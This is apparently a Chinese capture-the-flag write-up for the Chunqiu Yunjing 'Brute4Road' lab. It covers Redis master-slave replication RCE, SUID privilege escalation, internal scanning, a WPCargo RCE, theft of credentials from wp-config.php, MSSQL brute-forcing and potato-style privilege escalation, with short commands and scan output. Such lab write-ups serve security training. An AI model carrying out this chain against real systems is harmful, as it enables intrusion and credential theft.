春秋云镜Brute4Road

外网打点

看了一下tp的图标扫了一下没发现nday,那么用fscan扫描一下

image-20251220202622563

存在redis未授权访问,参考Redis未授权访问详解——新手友好 - FreeBuf网络安全行业门户

写文件都用不了没有权限我都试了,再参考Redis未授权利用

只要未授权访问+未禁用SLAVEOF就可以打主从复制RCE

在 Redis 提示符下输入:

1
SLAVEOF
  • 被禁用的表现:返回 (error) ERR unknown command 'SLAVEOF'(error) ERR unknown command 'replicaof'。这说明管理员在 redis.conf 中使用了 rename-command 将其重命名或删除了。
  • 未禁用的表现:返回 (error) ERR wrong number of arguments for 'slaveof' command。这说明命令存在,只是你没给参数。

image-20251220202943380

所以是可以打主从复制RCE

一键利用的工具 https://github.com/n0b0dyCN/redis-rogue-server

image-20251220205005436

环境容易打崩一崩就要重开环境,所以争取一次性打通,反弹shell默认的是sh

1
python -c 'import pty; pty.spawn("/bin/bash")'

利用这个命令起一个bash,ctrl+c直接又给我退出shell了,算了明天再打,没权限suid提权

1
find / -perm -4000 -type f 2>/dev/null

base64提权,拿下第一个flag

image-20251221133553861

内网信息收集

wget自己vps上的fscan还有linux_x64_agent,ipconfig用不了,可以用hostname -I

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.18 is alive
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.16 is alive
[*] Icmp alive hosts len is: 5
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.34:445 open
172.22.2.18:445 open
172.22.2.16:139 open
172.22.2.3:139 open
172.22.2.18:139 open
172.22.2.18:80 open
172.22.2.34:139 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.7:80 open
172.22.2.34:135 open
172.22.2.18:22 open
172.22.2.7:22 open
172.22.2.16:80 open
172.22.2.7:21 open
172.22.2.3:88 open
172.22.2.7:6379 open
172.22.2.16:1433 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo
[*]172.22.2.3
[->]DC
[->]172.22.2.3
[*] WebTitle http://172.22.2.16 code:404 len:315 title:Not Found
[*] NetInfo
[*]172.22.2.16
[->]MSSQLSERVER
[->]172.22.2.16
[*] NetInfo
[*]172.22.2.34
[->]CLIENT01
[->]172.22.2.34
[*] NetBios 172.22.2.34 XIAORANG\CLIENT01
[*] WebTitle http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[*] OsInfo 172.22.2.3 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.3 [+] DC:DC.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.2.16 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.18 WORKGROUP\UBUNTU-WEB02
[+] ftp 172.22.2.7:21:anonymous
[->]pub
[*] WebTitle http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点

整理一下

1
2
3
4
5
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.18 又一个WordPress站点
(icmp) Target 172.22.2.3 DC
(icmp) Target 172.22.2.7 已经拿下
(icmp) Target 172.22.2.16 MSSQLSERVER

总的来说就是没有扫出nday,但是有个wp的站点,用wpscan去扫描一下

image-20251221143015915

内网打点

插件存在nday,工具一把锁biulove0x/CVE-2021-25003: WPCargo < 6.9.0 - Unauthenticated RCE

然后蚁剑连接/var/www/html/wp-config.php存在数据库信息泄露,继续连接数据库

image-20251221143200759

拿到第二个flag

image-20251221143432376

有一堆密码,拿来横向试一试,唯一能想到的可能就是172.22.2.16 MSSQLSERVER这个的爆破了https://github.com/shack2/SNETCracker/releases

然后用MDUT连接一下啊,甜土豆提权,拿到第三个flag

image-20251221145122081